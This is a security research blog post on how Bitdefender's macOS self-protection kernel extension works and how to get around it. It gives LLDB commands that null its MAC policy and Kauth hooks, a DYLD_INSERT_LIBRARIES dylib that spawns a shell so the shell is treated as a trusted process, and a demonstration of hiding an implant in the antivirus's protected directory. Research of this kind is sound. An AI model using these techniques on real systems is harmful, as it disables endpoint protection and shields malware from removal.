ActiveBreach

Endpoint Security Self-Protection on MacOS

Recently we’ve been looking at MacOS in the context of redteaming, looking at endpoint security products and how they can be evaded on a Mac.

I have previously explored Windows Anti-Debugging techniques, also driven out of research into Antivirus engines, showing just how you could go about disabling anti-debug functionality for the purposes of furthering your research.

In this post we will look to complete a similar exercise on MacOS, looking at some of the self-protection methods employed by Antivirus engines, how they work, and just what we can do to disable them when looking to complete further research.

At the end of the post, we will have a bit of fun and show just how we can leverage self-protection techniques to hide our malware during an engagement.

Disclaimer: It should be noted that a lot of the techniques in this post require elevated or root permissions (or an attached kernel debugger), meaning that if an attacker were in a position to exploit any of these conditions, no security product would be able to protect you. That being said, I always believe there is value in understanding and showing the internals of a technique to help further research.

With that said, let’s start.

What is the problem?

When we take an Antivirus product (in this case Bitdefender), we often see references to “self-protection”. This category of protection often covers a wide range of functionality, but normally it is used to prevent malicious software from terminating, modifying or injecting code into processes. Let’s take a look at what happens when we try and do something simple like terminating a running AV process:

kill_bd2

As we can see, the process isn’t straight forward, which is certainly what we want when it comes to endpoint security.

So how does MacOS allow vendors to achieve this? Well before we dive in with the internals, we need to get out our kernel debugger.

Debugging the MacOS Kernel – Configuring MacOS Guest

In this walkthrough we will be utilising VMWare Fusion as our hypervisor. I won’t cover the installation of MacOS under VMWare here as this is already covered in a knowledge-base post here.

When debugging, some choose to utilise the MacOS kernel debugger via the setting of NVRAM parameters, however in my experience I have found this to be quite unstable when attaching to MacOS in a VM. Instead, in this post we will utilise VMWare’s embedded debugger to carry out our kernel debugging. To enable this, you will need to modify your .vmx file and add the following option:

debugStub.listen.guest64 = “TRUE”

Once set, when your VM is started a GDB debug bridge is enabled on localhost:8864.

With our hypervisor set up, we want to deploy a XNU kernel with symbols to support our debugging. The Kernel Debug Kit can be downloaded from Apple here. To pick the correct version, you can run the following command in your MacOS guest to retrieve the build version of the kernel:

sw_vers | grep BuildVersion

When installed, the KDK will provide several kernel options at /Library/Developer/KDKs/KDK_[VERSION].kdk/System/Library/Kernels. For the purposes of this walkthrough, we will deploy the development kernel.

As we will need to deploy the kernel to an area of MacOS protected by System Integrity Protection, we will reboot into recovery mode using the ⌘+R combination as our guest boots. When in recovery mode, we need to enter the following at a terminal:

csrutil disable # Disable SIP
cp /Volumes/<HD>/Developer/KDKs/KDK_[VERSION].kdk/System/Library/Kernels/kernel.development /System/Library/Kernels/

Next we need to update nvram to boot the development kernel. To do this we will use the following command:

nvram boot-args=”debug=0x6 kcsuffix=development pmuflags=1″

This command tells MacOS to boot into our kernel.development kernel, and sets a few debug flags.

Once done, we can reboot and attach to the kernel debugger.

Debugging the MacOS Kernel – Configuring MacOS Host

For our debugging host, we are going to use LLDB. First we need to install the KDK as shown above and execute LLDB.

One item that we will need to support LLDB is the x86_64 target definition file which can be downloaded here.

Once started we can get ourselves into position with:

file /Library/Developer/KDKs/KDK_[VERSION].kdk/System/Library/Kernels/kernel.development
settings set plugin.process.gdb-remote.target-definition-file ~/Debugging/x86_64_target_definition.py
command script import “/Library/Developer/KDKs/KDK_[VERSION].kdk/System/Library/Kernels/kernel.development.dSYM/Contents/Resources/DWARF/../Python/kernel.py”

Now we have our kernel debugger set up, all that is left to do is to start our VM and connect using the GDB bridge with:

gdb-remote 8864

If all goes well, a number of messages will fly past the screen, looking something like this:

debug_start

Running the continue command c will resume execution of MacOS, and there we have a working kernel debugger complete with symbols and helpers.

Now, where is that self-protection?

Spinning up Bitdefender, we can see that something is stopping us from terminating processes or modifying any of the files belonging to the product. If we take the drivers present within /Library/Bitdefender, we can use the awesome Hopper disassembler to see what is happening under the hood.

A good place to start in this case is the SelfProtect.kext module. Taking the _sp_start symbol, we see a call to a method of _mac_policy_register. If we search for this symbol, we see that it is part of the TrustedBSD framework, and partially documented by Apple here.

mac_policy_register is provided by Apple as an internal (and unsupported) way to allow an extension to register interest in particular events that occur during execution of the kernel. The mac_policy_register function has the following signature:

int mac_policy_register(struct mac_policy_conf *mpc, mac_policy_handle_t *handlep, void *xd);

Here we see that a struct mac_policy_conf parameter is being passed, which is populated with a list of events to hook. In the case of SelfProtection.kext we see that mpo_proc_check_signal property is set, indicating that any calls which raise a signal are monitored and intercepted by the extension.

Looking at pseudocode of the callback, we see something like this:

signal_callback

Here, a number of checks are being completed on the signal being passed to the callback. If the signal matches a bitwise mask a further comparison is run to see if the calling process has a “trusted PID” or if the process being killed is a “trusted PID”. If either of these statements are true, the function returns 0x1. If we look at a description of the callback:

@return Return 0 if access is granted, otherwise an appropriate value for errno should be returned. Suggested failure: EACCES for label mismatch, EPERM for lack of privilege, or ESRCH to limit visibility.

Brilliant, so this is exactly how we are being stopped from killing those processes, by hooking signals passed to terminate a process listed as a trusted PID. Let’s see how this works in XNU and if we can unhook this via our debugger.

Unhooking mac_policy_register with LLDB

Before we can unhook, we first need to find out where in kernel memory that the mac_policy_conf is stored. Our answer comes from mac_base.c in the XNU source code:

mac_policy_list.entries[*handlep].mpc = mpc;

Here we can see that the mac_policy_list variable is being used to store provided mac_policy_conf objects during execution. Using our LLDB session and loaded symbols, we can therefore display registered hooks with:

print mac_policy_list

mac_policy_list

So in this case we have 7 loaded policies. We can view the name of each entry using:

print mac_policy_list.entries[0].mpc->mpc_fullname

In my case, we see the installed Bitdefender policy at index 5:

bd_policy

And digging further we can see mpo_proc_check_signal is populated as expected:

mpo_proc_check_signal

Disabling this hook should be as simple as modifying the mpo_proc_check_signal property to NULL:

fix_signal_checl

And now when we attempt to terminate the process, everything works as expected:

kill_av

Awesome, so now we know just how to disable any MAC policy applied which may impede our debugging ability.

Moving on, I wanted to understand just how are PID’s added to that trusted_pid array that we saw earlier. For this we will need to look at the BSD Kauth framework and how this is implemented in with XNU kernel.

Exploring Kauth

If we return to the sp_start method of the SelfProtect.kext module, as well as the MAC calls we just explored, we see a number of calls to _kauth_listen_scope.

This function is actually part of the BSD Kauth framework and the function call has the following signature:

kauth_listener_t kauth_listen_scope(const char *id, kauth_scope_callback_t cb, void *cookie)

Here, the kernel extension is asking to be notified when certain events occur within the OS using the following function calls:

_kauth_listen_scope(“com.apple.kauth.vnode”, _self_protect_vnode_callback, 0x0); _kauth_listen_scope(“com.apple.kauth.fileop”, _self_protect_fileop_callback, 0x0);

First let’s look at the com.apple.kauth.vnode registration call which is triggering a callback function of _self_protect_vnode_callback.

We see that this callback is actually invoked when a few different events occur. Looking in the kernel’s source code header bsd/sys/kauth.h we see the following actions exposed which can result in this callback being made:

#define KAUTH_VNODE_READ_DATA (1<<1) #define KAUTH_VNODE_LIST_DIRECTORY KAUTH_VNODE_READ_DATA #define KAUTH_VNODE_WRITE_DATA (1<<2) #define KAUTH_VNODE_ADD_FILE KAUTH_VNODE_WRITE_DATA #define KAUTH_VNODE_EXECUTE (1<<3) #define KAUTH_VNODE_SEARCH KAUTH_VNODE_EXECUTE #define KAUTH_VNODE_DELETE (1<<4) #define KAUTH_VNODE_APPEND_DATA (1<<5) #define KAUTH_VNODE_ADD_SUBDIRECTORY KAUTH_VNODE_APPEND_DATA #define KAUTH_VNODE_DELETE_CHILD (1<<6) #define KAUTH_VNODE_READ_ATTRIBUTES (1<<7) #define KAUTH_VNODE_WRITE_ATTRIBUTES (1<<8) #define KAUTH_VNODE_READ_EXTATTRIBUTES (1<<9) #define KAUTH_VNODE_WRITE_EXTATTRIBUTES (1<<10) #define KAUTH_VNODE_READ_SECURITY (1<<11) #define KAUTH_VNODE_WRITE_SECURITY (1<<12) #define KAUTH_VNODE_TAKE_OWNERSHIP (1<<13)

If we look at the first check performed within _self_protect_vnode_callback, we see:

((r14 & 0x6003574) != 0x0)

Here r14 contains the action being performed on the vnode. What this mask is doing is filtering out all of the write/append/delete actions, meaning that this callback will only be acting on vnode modification operations.

Another important conditional operation to note is this:

(_vnode_vtype(rbx) <= 0x5))

Here there is an assertion that the vtype is less than or equal to 5, and if we look at the enum vtype type:

/* * Vnode types. VNON means no type. */ enum vtype { /* 0 */ VNON, /* 1 – 5 */ VREG, VDIR, VBLK, VCHR, VLNK, /* 6 – 10 */ VSOCK, VFIFO, VBAD, VSTR, VCPLX };

We see that this callback applies to the types of VNON, VREG, VDIR, VBLK, VCHR, or VLNK. So assuming that the action being performed is to delete a file, what happens?

vnode_block

First we see a call to vnode_path_alloc_get returning the path with which this callback has been invoked for. Next we see a check being run on a property of _protected_paths, which contains a list of protected paths provided by the kernel module Info.plist:

<key>SPProtectedPaths</key>
<array>
<string>/Library/Bitdefender</string>
<string>/Library/Application Support/Bitdefender</string>
<string>/Library/Extensions/Selfprotect.kext</string>
<string>/Library/Extensions/TMProtection.kext</string>
<string>/Library/Extensions/FileProtect.kext</string>
<string>/Library/LaunchDaemons/com.bitdefender.AuthHelperTool.plist</string>
<string>/Library/LaunchDaemons/com.bitdefender.upgrade.plist</string>
<string>/Library/LaunchDaemons/com.bitdefender.agent.plist</string>
<string>/Library/LaunchAgents/com.bitdefender.antivirusformac.plist</string>
</array>

If the path or file being acted on is contained within this list, we see a further check of the trusted_pids property. If our calling process (or the parent of our calling process) does not have a PID within the trusted_pids property, we are greeted with a _log_file_access_blocked… blocking access to our attempted modification.

So we know that with this callback in place, we are unable to modify any of the protected files or files contained within protected directories… so how can we disable this with our kernel debugger?

Going back to the XNU kernel source, we can see that upon calling kauth_listen_scope, the variable of kauth_scopes is updated with:

TAILQ_FOREACH(sp, &kauth_scopes, ks_link) {
if (strncmp(sp->ks_identifier, identifier,
strlen(sp->ks_identifier) + 1) == 0) {
/* scope exists, add it to scope listener table */
if (kauth_add_callback_to_scope(sp, klp) == 0) {
KAUTH_SCOPEUNLOCK();
return(klp);
}
/* table already full */
KAUTH_SCOPEUNLOCK();
FREE(klp, M_KAUTH);
return(NULL);
}
}

Let’s dump this with our LLDB session:

print kauth_scopes

head_list

Here we have a pointer to the start and end of a linked list, I won’t cover the internals of the linked list here, but the following will get you to the vnode kauth_scope:

print *(struct kauth_scope *)(*(struct kauth_scope *)kauth_scopes.tqh_first).ks_link.tqe_next->ks_link.tqe_next->ks_link.tqe_next

vnode_kauth

Here we see a list of listeners. If we get the base address of our SafeProtect.kext using kextstat, we see:

61 0 0xffffff7f80f80000 0x5000 0x5000 com.bitdefender.SelfProtect (1.2.11) 125A3AB3-B72D-3D47-9B36-1B2A5ED8E229 <5 4 3 2 1>

So we are looking for a callback address within the range 0xffffff7f80f80000+0x5000:

ks_listener_callback

Awesome, now we can NULL this out with a memory write:

print &(*(struct kauth_scope *)kauth_scopes.tqh_first).ks_link.tqe_next->ks_link.tqe_next->ks_link.tqe_next->ks_listeners[0]
memory write -s 8 0xffffff8006e18e10 0
memory write -s 8 0xffffff8006e18e18 0

And now if we try to add a new file to the directory:

modified_dir

Cool, so now we have neutered the vnode checks, let’s see what the other com.apple.kauth.fileop kauth callback is up to.

FileOp Callback

Again we start by looking at the registered callback of _self_protect_fileop_callback. Here we see the following pseudocode:

fileop_callback

The first check being completed is for an action of 0x6. Pulling out the action values, we see:

/* Actions */
#define KAUTH_FILEOP_OPEN 1
#define KAUTH_FILEOP_CLOSE 2
#define KAUTH_FILEOP_RENAME 3
#define KAUTH_FILEOP_EXCHANGE 4
#define KAUTH_FILEOP_LINK 5
#define KAUTH_FILEOP_EXEC 6
#define KAUTH_FILEOP_DELETE 7

Here the callback is checking for a type of KAUTH_FILEOP_EXEC which is invoked when a file is executed. Next we see that the PID of the process invoking the execution is taken, the path of the process making the execution is checked, and if the source of the process performing the execution is within a trusted_paths property, the PID is added to the trusted_pids array.

If we review the plist used to configure the SelfProtect.kext, we see that the trusted paths are:

<key>SPTrustedPaths</key>
<array>
<string>/Library/Bitdefender</string>
</array>

This makes perfect sense, as we know from the vnode callback above that we are denied permission to write to this directory, which means that only legitimate Bitdefender processes should be spawned from here, and therefore added to the list of trusted PID’s.

But… what if we could influence the execution of code from the /Library/Bitdefender path? Then this would mean that we could add any process into the trusted_pids property and therefore work around the self-protection functionality right? Let’s look at this next.

Fun with DYLD_INSERT_LIBRARIES

So now we know the goal, execute code sourcing from the /Library/Bitdefender path. Let’s take a look at DYLD_INSERT_LIBRARIES.

DYLD_INSERT_LIBRARIES can be thought of as similar to the LD_PRELOAD environment variable we all know, allowing us to specify a dynamic library to be loaded into a process. If this side-loading of a library is not accounted for, we have a nice way to introduce functionality into a process which is exactly what we are looking for here.

Let’s create a quick dylib with a constructor to be invoked upon loading, spawning a shell:

#include <stdio.h>
#include <unistd.h>

char *args[] = {“/bin/bash”, NULL};

__attribute__((constructor))
void custom(int argc, char **argv) {
printf(“Launching shell from dylib\n”);
execve(“/bin/bash”, args, NULL);
}

This can be compiled with:

clang inject.c -o inject.dylib –shared

Now that we have a dylib, let’s invoke a Bitdefender application, but request that our library is also injected:

DYLD_INSERT_LIBRARIES=/Library/Bitdefender/AVP/AntivirusforMac.app/Contents/MacOS/AntivirusforMac

When executed, we should be greeted with a shell, and will have a parent PID of a process within the /Library/Bitdefender:

ppid

And as we saw above, this is exactly the set of conditions required to be classed as a “trusted PID”.

Let’s jump into our kernel debugger and see if we are now classed as a trusted process. We will set a breakpoint on the symbol pid_array_add, which as we also know from above, is invoked to add a process to the trusted_pid array:

trusted_pid

Cool, so now we are added to the trusted_pids array. So let’s see what we have the ability to do. First, we are in a position to terminate protected processes which belong to our currently running user:

av_kill

If we have elevated permissions, we can also terminate the Bitdefender engine without resorting to kernel debugging:

kill_root

We should also be able to modify files within the protected_paths array:

works

Antivirus is My Rootkit

While looking at just how this self-protection functionality worked and how we could get around it, one comical idea I had was to leverage AV self-protection as a way to protect our own implants. For example, if we could add ourselves to a directory protected by Bitdefender, we would inherit the self-protection of Bitdefender.

Using the above DYLD, we now have this ability. So let’s drop our implant within the /Library/Bitdefender path and see what happens when a root user tries to remove our file:

Of course because the users process is not within the trusted_pid array explored above, the attempt to remove our file fails, leaving the user with the difficult task of removing our file.

Let’s also see what happens when attempting to terminate our process as a root user:

So inadvertently we have a way to protect our process using the AV engine… Now of course this is just a bit of fun to demonstrate some of the concepts explored in this post, but it’s an interesting topic to explore when looking to review endpoint security products during an engagement.

This blog post was written by Adam Chester.

written by

MDSec Research

Ready to engage
with MDSec?

Copyright 2024 MDSec